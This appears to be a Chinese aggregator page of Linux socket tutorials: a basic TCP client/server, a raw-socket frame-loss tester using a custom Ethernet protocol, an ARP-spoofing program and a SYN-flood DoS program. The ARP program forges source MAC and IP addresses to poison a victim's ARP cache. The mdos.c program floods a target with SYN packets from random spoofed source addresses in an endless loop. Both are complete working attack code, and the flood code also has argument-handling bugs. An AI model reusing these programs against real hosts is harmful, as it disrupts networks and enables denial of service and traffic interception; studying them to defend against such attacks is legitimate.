精华内容
下载资源
问答
  • 客户端:发送 #include #include #include #include #include #include #include #include #include #include #define MYPORT 8887 #define BUFFER_SIZE 1024 int main() { ///...

    客户端:发送

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <stdio.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdlib.h>
    #include <fcntl.h>
    #include <sys/shm.h>


    #define MYPORT  8887
    #define BUFFER_SIZE 1024


    int main()
    {
    ///定义sockfd
    int sock_cli = socket(AF_INET,SOCK_STREAM, 0);


    ///定义sockaddr_in
    struct sockaddr_in servaddr;
    memset(&servaddr, 0, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(MYPORT);  ///服务器端口
    servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");  ///服务器ip


    ///连接服务器,成功返回0,错误返回-1
    if (connect(sock_cli, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0)
    {
    perror("connect");
    exit(1);
    }


    char sendbuf[BUFFER_SIZE]="abcde";

    while (1)
    {
    send(sock_cli, sendbuf, strlen(sendbuf),0); ///发送
    sleep(1);
    memset(sendbuf, 0, sizeof(sendbuf));

    }


    close(sock_cli);
    return 0;
    }



    服务端:接收


    #include <sys/types.h>
    #include <sys/socket.h>
    #include <stdio.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdlib.h>
    #include <fcntl.h>
    #include <sys/shm.h>
     
    #define MYPORT  8887
     #define QUEUE   20
    #define BUFFER_SIZE 1024


    int main()
     {
         ///定义sockfd
         int server_sockfd = socket(AF_INET,SOCK_STREAM, 0);
     
         ///定义sockaddr_in
         struct sockaddr_in server_sockaddr;
         server_sockaddr.sin_family = AF_INET;
         server_sockaddr.sin_port = htons(MYPORT);
         server_sockaddr.sin_addr.s_addr = htonl(INADDR_ANY);
     
         ///bind,成功返回0,出错返回-1
         if(bind(server_sockfd,(struct sockaddr *)&server_sockaddr,sizeof(server_sockaddr))==-1)
         {
             perror("bind");
             exit(1);
         }
     
         ///listen,成功返回0,出错返回-1
         if(listen(server_sockfd,QUEUE) == -1)
         {
             perror("listen");
             exit(1);
         }
     
         ///客户端套接字
         char buffer[BUFFER_SIZE];
         struct sockaddr_in client_addr;
         socklen_t length = sizeof(client_addr);
          ///成功返回非负描述字,出错返回-1
         int conn = accept(server_sockfd, (struct sockaddr*)&client_addr, &length);
         if(conn<0)
         {
             perror("connect");
             exit(1);
         }
     
         while(1)
         {
             memset(buffer,0,sizeof(buffer));
             int len = recv(conn, buffer, sizeof(buffer),0);
    printf("Recv dataLen = %d\n",len);
         }
         close(conn);
         close(server_sockfd);
         return 0;
     }

    展开全文
  • linux原始套接字实战

    千次阅读 2017-12-22 16:04:05
    本文的主线是一个使用原始套接字发送数据的程序,工作在数据链路层,采用自定义以太网帧协议,靠MAC地址识别目标主机。所以不涉及到IP地址和端口号。程序主要用于互联的两台机器之间进行丢帧率计算。以下部分都是...

    本文的主线是一个使用原始套接字发送数据的程序,工作在数据链路层,采用自定义以太网帧协议,靠MAC地址识别目标主机。所以不涉及到IP地址和端口号。程序主要用于互联的两台机器之间进行丢帧率计算。以下部分都是围绕它而展开说明的。内容分为以下几部分:

    1. 原始套接字概述
    2. 原始套接字的创建
    3. 自定义协议
    4. 发送端程序流程、实现
    5. 接收端程序的开发

    一、原始套接字概述

    先来看看socket函数原型:

    int socket(int domain, int type, int protocol);

    我们知道,当进行网络编程的时候,通常会用到socket函数。而且主要有两种,一种是第二个参数为SOCK_STREAM,面向连接的 Socket,针对于面向连接的TCP 服务应用,另外一种是第二个参数为SOCK_DGRAM,面向无连接的 Socket,针对于无连接的 UDP 服务应用。对于TCP或UDP,我们不能修改其头部的格式,只能依照系统开放给我们定义好的头部进行编程开发。而今天,介绍的原始套接字却跟前面两种大不相同。原始套接字可以提供普通的TCP和UDP套接字不支持的能力。比如:

    1. 发送一个自定义的以太网帧。(这将是本节实现的重点
    2. 发送一个 ICMP 协议包。
    3. 发送一个自定义的 IP 包。
    4. 分析所有经过网络的包,而不管这样包是否是发给自己的。
    5. 伪装本地的 IP 地址。

    注意:原始套接字需要在root权限下使用!

    二、原始套接字的创建

    创建原始套接字有如下步骤:
    这里把socket函数第一个参数指定为PF_PACKET,因为本文程序利用PF_PACKET接口操作链路层的数据。
    第二个参数指定为SOCK_RAW。第三个参数指定为一个字符串”0x980A”来标识自定义协议。

        int sock;
        //这里把protocol自定义为0x980A
        if((sock = socket(PF_PACKET, SOCK_RAW, htons(protocol))) < 0)
        {
            perror("socket");
            return -1;
        }

    创建完成之后就可以利用函数sendto函数和recvfrom函数来发送和接收数据链路层的数据包了。

    三、自定义协议

    自定义数据包格式:

    typedef struct {
        unsigned char  tmac[6];     //目的主机mac地址
        unsigned char  smac[6];     //本机mac地址
        unsigned short type;        //自定义为0x980A
        unsigned short  len;        //暂定为46
        unsigned char   reserve[3]; //保留,暂填写为00
        unsigned char   opcode;     //探测请求 = 0x08;响应 = 0x00
        unsigned short  seqnum;     //报文序号,从0-65535
        unsigned int    datetime;   //填充当前发送测试包时间,精确到毫秒
        unsigned char   content[34];//填充,以0123456798ABCDEF0123456……模式循环
    } __attribute__((packed)) stbtest_packet_t ;

    其中,attribute ((packed)) 的作用就是告诉编译器取消结构在编译过程中的优化对齐,按照实际占用字节数进行对齐。

    四、发送端程序流程、实现

    先来看下程序的主函数:

    int main(int argc, char **argv){
        stbtest_packet_t packet;
        struct sockaddr_ll addrSrc;
        u_int nLen = 0;
        int ret = -1,i = 0;
        int fd = -1;
        char pidstr[20] = {0};
        struct sockaddr_ll socketAddrReply;
        //解析程序输入参数,采用./stb_test 50 30 00:00:00:00:00:00  11:11:11:11:11:11格式
        //50 表示发送频率,30表示发送周期,00:00:00:00:00:00表示本机的mac地址,11:11:11:11:11:11表示目的mac
        for(i=0; i<argc; i++)  
        {
            printf("%d ",i);
            printf("=%s\n",argv[i]);
        }
        if(argc < 4)
        {
          printf("usage:%s <freqency> <send-period> <src-mac> <dst-mac>\r\n", argv[0]);
          printf("eg: ./stb_test 50 30 dc:0e:a1:68:6a:98  dc:0e:a1:68:6a:98\r\n");
          exit(1);
        }
    
        stbTestCfg.freqency = atoi(argv[1]);
        stbTestCfg.send_period = atoi(argv[2]);
        str_to_macNum(argv[3], stbTestCfg.onuMacAddr);//source mac
        str_to_macNum(argv[4], stbTestCfg.dstMacAddr);//dest mac
        if(stbTestSocketInit()< 0 )
        {
            printf("=> Error: stbTestSocketInit fail!\n");
            stbTestSocketDestroy();
            return -1;
        }
        stbTestInitThread(&stbTestThread_S, (void *)stbTestSendTask);
        stbTestInitThread(&stbTestThread_R, (void *)stbTestReceiveTask);
        sleep(1);//防止线程未创建就开始执行pthread_join函数,导致等待线程退出失败
        pthread_join(stbTestThread_R,NULL); 
        pthread_join(stbTestThread_S,NULL); 
        stbTestSocketDestroy();
        return 0;
    }

    上面的代码,先解析出命令行参数,并把参数赋给结构体stbTestCfg。然后调用stbTestSocketInit函数初始化socket。接着调用stbTestInitThread函数创建发送数据stbTestThread_S线程和接收数据stbTestThread_R的线程。最后调用pthread_join等待线程接收。程序的实现的大体思路是:向另一台主机发送type=0x980A、opcode=0x08,带序列号和当前时间的单播报文。另一台主机接收到报文之后修改报文源MAC、目标MAC、opcode=0x00并返回给发送主机。发送主机计算现在的时间和报文中的时间值之差,就可以判断这份报文一个来回经过了多长的时间。通过时间的长短,我们可以判断是否丢帧了。我们这里定义当测试报文从发送到接收的时间间隔超过4000ms(包括4000ms)时或没有接受到发送的报文,这个报文当做丢帧。丢帧率计算为:在一个测试周期内(具体测试周期参见规范),按照规范要求的发包频率(具体发包频率参见规范)进行单播探测交互,统计出本周期内的所有丢帧数,计算丢帧率=丢帧数/发包总数×100.00%,丢帧率单位为百分比,精确到小数点2位。程序还包含了时延、抖动的计算,操作的数据同样来源于时间值,这里不详细说明。我们来看看stbTestSocketInit函数里面干了什么:

    //LAN_IF定义为"eth0",ETH_P_STBTEST_S定义为0x980A
    int stbTestSocketInit(void)
    {
        stbTestSocket_S = strCreateSocket(LAN_IF, ETH_P_STBTEST_S, &stbTestSocketAddr_S) ;
        if(stbTestSocket_S == -1) { 
            printf("=> Error: create stbtest_s socket failed\n") ;
            return -1 ;
        }
        stbTestSocket_R = strCreateSocket(LAN_IF, ETH_P_STBTEST_S, &stbTestSocketAddr_R) ;
        if(stbTestSocket_R == -1) { 
            printf("=> Error: create stbtest_r socket failed\n") ;
            return -1 ;
        }
    
        return 0 ;
    }
    int strCreateSocket(char *iface, int protocol, struct sockaddr_ll *sll)
    {
        int sock;
        struct ifreq ifr;
        int sockopt = 0;
        //这里就是创建原始套接字的地方,PF_PACKET表明操作的是数据链路层的数据,协议这里指定自定义的0x980A
        if((sock = socket(PF_PACKET, SOCK_RAW, htons(protocol))) < 0)
        {
            perror("socket");
            return -1;
        }
        if(iface != NULL)
        {
            memset(&ifr, 0, sizeof(ifr));
            strncpy(ifr.ifr_name, iface, sizeof(ifr.ifr_name));
            //这里把eth0接口的索引存入ifr.ifr_ifindex中
            if ( ioctl(sock, SIOCGIFINDEX, &ifr) < 0)
            {
                perror("ioctl(SIOCGIFINDEX)");
                close(sock);
                return -1;
            }
            memset(sll, 0, sizeof(struct sockaddr_ll));
            sll->sll_family = AF_PACKET;
            sll->sll_ifindex = ifr.ifr_ifindex;
            sll->sll_protocol = htons(protocol);//填入自定义协议,这里是0x980A
            if (bind(sock, (struct sockaddr *)sll, sizeof(struct sockaddr_ll)) == -1)
            {
                perror("bind()");
                close(sock);
                return -1;
            }
        }
    
        return sock;
    }

    以上最主要的就是通过调用socket函数创建原始套接字,我们再来看看stbTestInitThread函数干了什么:

    int stbTestInitThread(pthread_t *thread, void *func){
        int ret;
        pthread_attr_t attr;    
        //初始化线程属性
        ret = pthread_attr_init(&attr);
        if(ret != 0)
        {
            printf("\r\n stbTestInitThread attribute creation fail!");
            return -1;
        }
        //设置线程堆栈大小
        ret = pthread_attr_setstacksize(&attr, 16384);
        if(ret != 0)
        {
            printf("\r\nSet stacksize fail!");
            return -1;
        }
        //设置线程分离状态
        ret = pthread_attr_setdetachstate(&attr,PTHREAD_CREATE_DETACHED);
        if(ret != 0)
        {
            printf("\r\nSet attribute fail!");
            return -1;
        }
        //创建线程
        ret = pthread_create(thread , &attr, (void *)func, NULL);
        if(ret != 0)
        {
            printf("\r\nCreate thread fail!");
            return -1;
        }
        //销毁线程属性结构体attr
        pthread_attr_destroy(&attr);
        return 0;
    }

    以上主要是关于线程属性的设置和创建,可以查看之前的文章linux 线程属性控制。主函数通过stbTestInitThread函数创建了两个线程,一个用于发送,一个用于接收。我们先来看看发送线程函数:

    void *stbTestSendTask(void){
        stbtest_packet_t packet;
        unsigned short nCount = 0;
        char buf[10] = {0};
        char data[REPEAT_DATA_LEN] = {0x01,0x23,0x45,0x67,0x89,0xAB,0xCD,0xEF};
        unsigned int send_period = 0, freqency = 0, factor = 5;
        int iRet,ret1, ret2;
    
        memset(&packet , 0, sizeof(stbtest_packet_t));
        memcpy(packet.smac, stbTestCfg.onuMacAddr,6);
        packet.type = htons(ETH_P_STBTEST_S);
        packet.len = htons(STBTEST_LOAD_LEN);
        packet.opcode = STBTEST_OPCODE_REQUEST;
        for(nCount=0; (nCount+1)*REPEAT_DATA_LEN < 34; nCount++){
            memcpy(&packet.content[nCount*REPEAT_DATA_LEN], data, REPEAT_DATA_LEN);
        }
        memcpy(&packet.content[nCount*REPEAT_DATA_LEN], data, 34-nCount*REPEAT_DATA_LEN);
        //获取发送参数
        get_send_para(&send_period, &freqency, &factor);
        ret1 = send_to_stb(&packet, 2, send_period, freqency, factor);
        if (ret1 == 0 )
        {
            memset(stbTestCfg.state , 0, sizeof(stbTestCfg.state));
            strcpy(stbTestCfg.state,"Complete");
            printf("now state is : %s\n",stbTestCfg.state);
        }
        else
        {
            memset(stbTestCfg.state , 0, sizeof(stbTestCfg.state));
            strcpy(stbTestCfg.state,"Stop");
            printf("now state is : %s\n",stbTestCfg.state);
        }
        printf("\n======>stbTestSendTask, do thread exit\n");
        stbTestThread_S = 0;
    }

    程序比较长,其实就是填充如下结构体,这个结构体是我们要发送给远端主机的,然后调用send_to_stb函数。

    typedef struct {
        unsigned char  tmac[6];
        unsigned char  smac[6];
        unsigned short type;
        unsigned short  len;
        unsigned char   reserve[3];
        unsigned char   opcode;
        unsigned short  seqnum;
        unsigned int    datetime;
        unsigned char   content[34];
    } __attribute__((packed)) stbtest_packet_t ;

    发送数据真正的地方在send_to_stb这个函数里面。以下程序根据我们定义的频率、周期,在for循环调用stbTestSocketSend函数发送数据,这个函数真正调用的是sendto函数。发送完数据之后等待三秒。这是因为要等对端主机接受完数据之后发送回来之后。这样数据才经历了一个来回。我们才能抓到数据包里面的时间值。根据发送时间和接收时间来计算丢帧率、时延等。计算出结果之后,把数据写进新创建的文件/var/run/stb_test_result。

    int send_to_stb(stbtest_packet_t *p_packet, int lan_index, unsigned int send_period, unsigned int freqency, unsigned int factor)
    {
        unsigned short nCount = 0, nPeriod = 0, send_count = 0, l_seqnum = 0;
        unsigned short rxCount = 0;
        char buf[10] = {0};
        char stbMac[32] = {0};
        char resultBuff[64] = {0};
        unsigned int timeResponseTotal = 0;
        unsigned int timeShakeTotal = 0;
    
        unsigned int sen_cnt = 0, freq_cnt = 0, last_cnt = 0, real_cnt = 0;
        float lostrate = 0;
        int learn_flag = 0;
        if (p_packet == NULL)
            return -1;
    
        memcpy(p_packet->tmac, stbTestCfg.dstMacAddr, 6);
        send_count = (send_period * freqency);
        g_seqnum = send_count;
        sen_cnt = (send_period * factor);
        freq_cnt = (freqency / factor);
        last_cnt = (freqency % factor);
        l_seqnum = 0;
        for (nPeriod = 0; nPeriod < sen_cnt; nPeriod++) {
            if ((nPeriod % factor) == 0)
                real_cnt = freq_cnt + last_cnt;
            else
                real_cnt = freq_cnt;
    
            for(nCount=0; nCount < real_cnt; nCount++){
                int seqnum = l_seqnum++;
                p_packet->seqnum = seqnum;
                gettimeofday(&startTime[seqnum], 0);
                p_packet->datetime = startTime[seqnum].tv_sec*1000+startTime[seqnum].tv_usec/1000;
                timeResponse[seqnum] = RESPONSE_TIMEOUT;
                stbTestSocketSend(stbTestSocket_S, sizeof(stbtest_packet_t), p_packet, &stbTestSocketAddr_S);
                printf("send packet seq:%d,datetime:%u\n",seqnum,p_packet->datetime);           
            }
            usleep(1000*1000/factor - 15*1000);
        }
        sleep(3);
        /* send finish, so collect the information */
        rxCount = 0;
        timeResponseTotal = 0;
        timeShakeTotal = 0;
        for(nCount=0; nCount < send_count; nCount++){                   
            if(timeResponse[nCount] < RESPONSE_TIMEOUT){
                rxCount++;
                timeResponseTotal += timeResponse[nCount];
            }
            else
            {
                timeResponseTotal += RESPONSE_TIMEOUT;
                timeResponse[nCount] = RESPONSE_TIMEOUT;
            }
            if(nCount>0){
                if(timeResponse[nCount] - timeResponse[nCount-1] > 0)
                    timeShakeTotal += timeResponse[nCount] - timeResponse[nCount-1];
                else
                    timeShakeTotal += timeResponse[nCount-1] - timeResponse[nCount];
            }
        }
        //printf("stb_test:LAN%d recv packet complete,recv_count=%d\n",lan_index,rxCount);
            /* if response packet can be receive or mac learn, it is stb */
        if (rxCount > 0 || learn_flag)
        {
            //break;
        }
    
        if (send_count <= 0)
        {
            return -1;
        }
        // rx count
        lostrate = (float)(((float)send_count - (float)rxCount)*100.00/(float)send_count);
        //delay 
        int timeResponseRate = timeResponseTotal/send_count;
        // shake
        int  timeShakeRate = timeShakeTotal/(send_count-1);
    
        int fd = open(STB_TEST_RESULT, O_CREAT|O_EXCL|O_RDWR, 0666);
        if (fd < 0){
            printf("stb_test can't create stb_test_result file, exit.\n");
            exit(1);
        }
        sprintf(stbMac,"%02x:%02x:%02x:%02x:%02x:%02x",stbTestCfg.dstMacAddr[0],stbTestCfg.dstMacAddr[1],stbTestCfg.dstMacAddr[2],
                          stbTestCfg.dstMacAddr[3],stbTestCfg.dstMacAddr[4],stbTestCfg.dstMacAddr[5]);
        ToUpperCase(stbMac);
        sprintf(resultBuff,"%s:%3.2f:%d:%d",stbMac,lostrate,timeResponseRate,timeShakeRate);
        write(fd, resultBuff, strlen(resultBuff));
        close(fd);  
        return 0;
    
    }

    接收函数相对简单,关键是调用stbTestSocketReceive函数接收数据,这个函数最终是调用recvfrom函数来接收数据的。接收完数据之后,再把时间值处理一下。然后流程是到了发送线程去计算最后的结果。之前等待三秒就是为了等待这个函数执行完。

    void *stbTestReceiveTask(void){
        stbtest_packet_t packet;
        struct sockaddr_ll addrSrc;
        struct timeval revTime;
        u_int nLen = 0;
        int ret = -1;
        int count = 0, count2 = 0;
        while(1){   
            ret = stbTestSocketReceive(stbTestSocket_R, &nLen, &packet, &addrSrc);
            if((ret == 0) && (packet.opcode == STBTEST_OPCODE_REPLY) && (memcmp(packet.smac, stbTestCfg.dstMacAddr, 6) == 0)){
                if(packet.seqnum>=0 && packet.seqnum<g_seqnum){
                    gettimeofday(&revTime, 0);
                    timeResponse[packet.seqnum] = (revTime.tv_sec*1000+revTime.tv_usec/1000)-packet.datetime;
                    count2++;
                }
                count++;
                if (count >= g_seqnum) {
                    count = 0;
                    count2 = 0;
                    break;
                }
            }
        }
        stbTestThread_R = 0;
    }

    程序有点长,五百多行,上面的代码并不完全,只是关键的一部分。

    五、接收端程序的开发

    接收端的还没开发,以后有时间再看看。接收端肯定更加简单,因为另一台主机接收到报文之后只是需要修改下报文源MAC、目标MAC、opcode=0x00并返回给发送主机就可以了。

    展开全文
  • linux原始套接字-发送ARP报文

    千次阅读 2016-09-27 11:58:30
    linux原始套接字,可以直接发送和接收链路层和网络层的报文,对我们理解TCP/IP协议栈有很多帮助。 也可写出很多有趣的程序。 下面的例子是向192.168.1.60的电脑,发送伪造的ARP报文,使其更新ARP表,导致无法PING...

    linux原始套接字,可以直接发送和接收链路层和网络层的报文,对我们理解TCP/IP协议栈有很多帮助。

    也可写出很多有趣的程序。

    下面的例子是向192.168.1.60的电脑,发送伪造的ARP报文,使其更新ARP表,导致无法PING通192.168.1.71。

    使用命令arp -d 删除arp缓存即可恢复。

    本示例仅供学习交流,请勿用于非法用途。

     

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <errno.h>
    
    #include <sys/socket.h>
    #include <sys/ioctl.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/if_ether.h>
    #include <net/if_arp.h>
    #include <netpacket/packet.h>
    #include <net/if.h>
    #include <net/ethernet.h>
    #include <arpa/inet.h>
    
    
    #define print_errno(fmt, ...) \
        printf("[%d] errno=%d (%s) #" fmt, \
            __LINE__, errno, strerror(errno), ####__VA_ARGS__)
    
    static unsigned char s_ip_frame_data[ETH_DATA_LEN];
    static unsigned int  s_ip_frame_size = 0;
    
    int main(int argc,char** argv)
    {
        struct ether_header *eth = NULL;
        struct ether_arp *arp = NULL;
        struct ifreq ifr;
        struct in_addr daddr;
        struct in_addr saddr;
        struct sockaddr_ll sll;
    
        int skfd;
        int n = 0;
    
        unsigned char dmac[ETH_ALEN] = {0x50,0x46,0x5d,0x71,0xcd,0xc0};
        /*伪造 源MAC*/
        unsigned char smac[ETH_ALEN] = {0x00,0x11,0x22,0x33,0x44,0x55};
    
        daddr.s_addr = inet_addr("192.168.1.60");
        /*伪造 源IP*/
        saddr.s_addr = inet_addr("192.168.1.71");
    
        memset(s_ip_frame_data, 0x00, sizeof(unsigned char)*ETH_DATA_LEN);
    
        /*创建原始套接字*/
        skfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
        if (skfd < 0) {
            print_errno("socket() failed! \n");
            return -1;
        }
        
        bzero(&ifr,sizeof(ifr));
        strcpy(ifr.ifr_name, "eth1");
        if (-1 == ioctl(skfd, SIOCGIFINDEX, &ifr)) {
            print_errno("ioctl() SIOCGIFINDEX failed!\n");
            return -1;
        }
        printf("ifr_ifindex = %d\n", ifr.ifr_ifindex);
    
        bzero(&sll, sizeof(sll));
        sll.sll_ifindex  = ifr.ifr_ifindex;
        sll.sll_family   = PF_PACKET;
        sll.sll_protocol = htons(ETH_P_ALL);
    
        #if 0
        /*获取本机IP*/
        if(-1 == ioctl(skfd, SIOCGIFADDR, &ifr)){
            printf("ioctl() SIOCGIFADDR failed! \n");
            return -1;
        }
        printf("ifr_addr    = %s\n", \
            inet_ntoa(((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr));
    
        /*获取本机MAC*/
        if(-1 == ioctl(skfd, SIOCGIFHWADDR, &ifr)) {
            printf("ioctl() SIOCGIFHWADDR failed! \n");
            return -1;
        }
        printf("ifr_hwaddr  = %02x-%02x-%02x-%02x-%02x-%02x\n",   \
            (unsigned char)ifr.ifr_hwaddr.sa_data[0],             \
            (unsigned char)ifr.ifr_hwaddr.sa_data[1],             \
            (unsigned char)ifr.ifr_hwaddr.sa_data[2],             \
            (unsigned char)ifr.ifr_hwaddr.sa_data[3],             \
            (unsigned char)ifr.ifr_hwaddr.sa_data[4],             \
            (unsigned char)ifr.ifr_hwaddr.sa_data[5]);
    
    
        #endif
    
        /*构造以太报文*/
        eth = (struct ether_header*)s_ip_frame_data;
        eth->ether_type = htons(ETHERTYPE_ARP);
        memcpy(eth->ether_dhost, dmac, ETH_ALEN); 
        memcpy(eth->ether_shost, smac, ETH_ALEN);
    
        /*构造ARP报文*/   
        arp = (struct ether_arp*)(s_ip_frame_data + sizeof(struct ether_header));
        arp->arp_hrd = htons(ARPHRD_ETHER); 
        arp->arp_pro = htons(ETHERTYPE_IP); 
        arp->arp_hln = ETH_ALEN;
        arp->arp_pln = 4;
        arp->arp_op  = htons(ARPOP_REQUEST);
        
        memcpy(arp->arp_sha, smac, ETH_ALEN);
        memcpy(arp->arp_spa, &saddr.s_addr, 4);
          /*
        memcpy(arp->arp_tha, dmac, ETH_ALEN);*/
        memcpy(arp->arp_tpa, &daddr.s_addr, 4);  
         
        s_ip_frame_size = sizeof(struct ether_header) + sizeof(struct ether_arp);
        n = sendto(skfd, s_ip_frame_data, s_ip_frame_size, 0, \
            (struct sockaddr*)&sll, sizeof(sll));
        if (n < 0) {
            print_errno("sendto() failed!\n");
        }
        else {
            printf("sendto() n = %d \n", n);
        }
        close(skfd);
        return 0;
    }
    
    
    展开全文
  • Linux原始套接字学习总结

    千次阅读 2016-05-06 12:00:20
    Linux网络编程:原始套接字的魔力【上】 http://blog.chinaunix.net/uid-23069658-id-3280895.html 基于原始套接字编程  在开发面向连接的TCP和面向无连接的UDP程序时,我们所关心的核心问题在于数据收发...

     Linux网络编程:原始套接字的魔力【上】

    http://blog.chinaunix.net/uid-23069658-id-3280895.html


    基于原始套接字编程
           在开发面向连接的TCP和面向无连接的UDP程序时,我们所关心的核心问题在于数据收发层面,数据的传输特性由TCP或UDP来保证:


           也就是说,对于TCP或UDP的程序开发,焦点在Data字段,我们没法直接对TCP或UDP头部字段进行赤裸裸的修改,当然还有IP头。换句话说,我们对它们头部操作的空间非常受限,只能使用它们已经开放给我们的诸如源、目的IP,源、目的端口等等。
           今天我们讨论一下原始套接字的程序开发,用它作为入门协议栈的进阶跳板太合适不过了。OK闲话不多说,进入正题。
           原始套接字的创建方法也不难:socket(AF_INET, SOCK_RAW, protocol)。
           重点在protocol字段,这里就不能简单的将其值为0了。在头文件netinet/in.h中定义了系统中该字段目前能取的值,注意:有些系统中不一定实现了netinet/in.h中的所有协议。源代码的linux/in.h中和netinet/in.h中的内容一样。


           我们常见的有IPPROTO_TCP,IPPROTO_UDP和IPPROTO_ICMP,在博文“(十六)洞悉linux下的Netfilter&iptables:开发自己的hook函数【实战】(下) ”中我们见到该protocol字段为IPPROTO_RAW时的情形,后面我们会详细介绍。
           用这种方式我就可以得到原始的IP包了,然后就可以自定义IP所承载的具体协议类型,如TCP,UDP或ICMP,并手动对每种承载在IP协议之上的报文进行填充。接下来我们看个最著名的例子DOS攻击的示例代码,以便大家更好的理解如何基于原始套接字手动去封装我们所需要TCP报文。
           先简单复习一下TCP报文的格式,因为我们本身不是讲协议的设计思想,所以只会提及和我们接下来主题相关的字段,如果想对TCP协议原理进行深入了解那么《TCP/IP详解卷1》无疑是最好的选择。


           我们目前主要关注上面着色部分的字段就OK了,接下来再看看TCP3次握手的过程。TCP的3次握手的一般流程是:
    (1) 第一次握手:建立连接时,客户端A发送SYN包(SEQ_NUMBER=j)到服务器B,并进入SYN_SEND状态,等待服务器B确认。
    (2) 第二次握手:服务器B收到SYN包,必须确认客户A的SYN(ACK_NUMBER=j+1),同时自己也发送一个SYN包(SEQ_NUMBER=k),即SYN+ACK包,此时服务器B进入SYN_RECV状态。
    (3) 第三次握手:客户端A收到服务器B的SYN+ACK包,向服务器B发送确认包ACK(ACK_NUMBER=k+1),此包发送完毕,客户端A和服务器B进入ESTABLISHED状态,完成三次握手。
     至此3次握手结束,TCP通路就建立起来了,然后客户端与服务器开始交互数据。上面描述过程中,SYN包表示TCP数据包的标志位syn=1,同理,ACK表示TCP报文中标志位ack=1,SYN+ACK表示标志位syn=1和ack=1同时成立。
    原始套接字还提供了一个非常有用的参数IP_HDRINCL:
    1、当开启该参数时:我们可以从IP报文首部第一个字节开始依次构造整个IP报文的所有选项,但是IP报文头部中的标识字段(设置为0时)和IP首部校验和字段总是由内核自己维护的,不需要我们关心。
    2、如果不开启该参数:我们所构造的报文是从IP首部之后的第一个字节开始,IP首部由内核自己维护,首部中的协议字段被设置成调用socket()函数时我们所传递给它的第三个参数。
     开启IP_HDRINCL特性的模板代码一般为:
           const int on =1;
      if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){
    printf("setsockopt error!\n");
      }
          所以,我们还得复习一下IP报文的首部格式:


     同样,我们重点关注IP首部中的着色部分区段的填充情况。
           有了上面的知识做铺垫,接下来DOS示例代码的编写就相当简单了。我们来体验一下手动构造原生态IP报文的乐趣吧:
    点击(此处)折叠或打开
    //mdos.c
    #include <stdlib.h>
    #include <stdio.h>
    #include <errno.h>
    #include <string.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <arpa/inet.h>
    #include <linux/tcp.h>


    //我们自己写的攻击函数
    void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
    //如果什么都让内核做,那岂不是忒不爽了,咱也试着计算一下校验和。
    unsigned short check_sum(unsigned short *addr,int len);


    int main(int argc,char** argv){
            int skfd;
            struct sockaddr_in target;
            struct hostent *host;
            const int on=1;
            unsigned short srcport;


            if(argc!=2)
            {
                    printf("Usage:%s target dstport srcport\n",argv[0]);
                    exit(1);
            }


            bzero(&target,sizeof(struct sockaddr_in));
            target.sin_family=AF_INET;
            target.sin_port=htons(atoi(argv[2]));


            if(inet_aton(argv[1],&target.sin_addr)==0)
            {
                    host=gethostbyname(argv[1]);
                    if(host==NULL)
                    {
                            printf("TargetName Error:%s\n",hstrerror(h_errno));
                            exit(1);
                    }
                    target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
            }


            //将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
            if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
                    perror("Create Error");
                    exit(1);
            }


            //用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文
             if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
                    perror("IP_HDRINCL failed");
                    exit(1);
            }


            //因为只有root用户才可以play with raw socket :)
            setuid(getpid());
            srcport = atoi(argv[3]);
            attack(skfd,&target,srcport);
    }


    //在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
    void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){
            char buf[128]={0};
            struct ip *ip;
            struct tcphdr *tcp;
            int ip_len;


            //在我们TCP的报文中Data没有字段,所以整个IP报文的长度
            ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
            //开始填充IP首部
            ip=(struct ip*)buf;


            ip->ip_v = IPVERSION;
            ip->ip_hl = sizeof(struct ip)>>2;
            ip->ip_tos = 0;
            ip->ip_len = htons(ip_len);
            ip->ip_id=0;
            ip->ip_off=0;
            ip->ip_ttl=MAXTTL;
            ip->ip_p=IPPROTO_TCP;
            ip->ip_sum=0;
            ip->ip_dst=target->sin_addr;


            //开始填充TCP首部
            tcp = (struct tcphdr*)(buf+sizeof(struct ip));
            tcp->source = htons(srcport);
            tcp->dest = target->sin_port;
            tcp->seq = random();
            tcp->doff = 5;
            tcp->syn = 1;
            tcp->check = 0;


            while(1){
                    //源地址伪造,我们随便任意生成个地址,让服务器一直等待下去
                    ip->ip_src.s_addr = random();
                    tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
                    sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
            }
    }


    //关于CRC校验和的计算,网上一大堆,我就“拿来主义”了
    unsigned short check_sum(unsigned short *addr,int len){
            register int nleft=len;
            register int sum=0;
            register short *w=addr;
            short answer=0;


            while(nleft>1)
            {
                    sum+=*w++;
                    nleft-=2;
            }
            if(nleft==1)
            {
                    *(unsigned char *)(&answer)=*(unsigned char *)w;
                    sum+=answer;
            }


            sum=(sum>>16)+(sum&0xffff);
            sum+=(sum>>16);
            answer=~sum;
            return(answer);
    }
           用前面我们自己编写TCP服务器端程序来做本地测试,看看效果。先把服务器端程序启动起来,如下:


           然后,我们编写的“捣蛋”程序登场了:


           该“mdos”命令执行一段时间后,服务器端的输出如下:


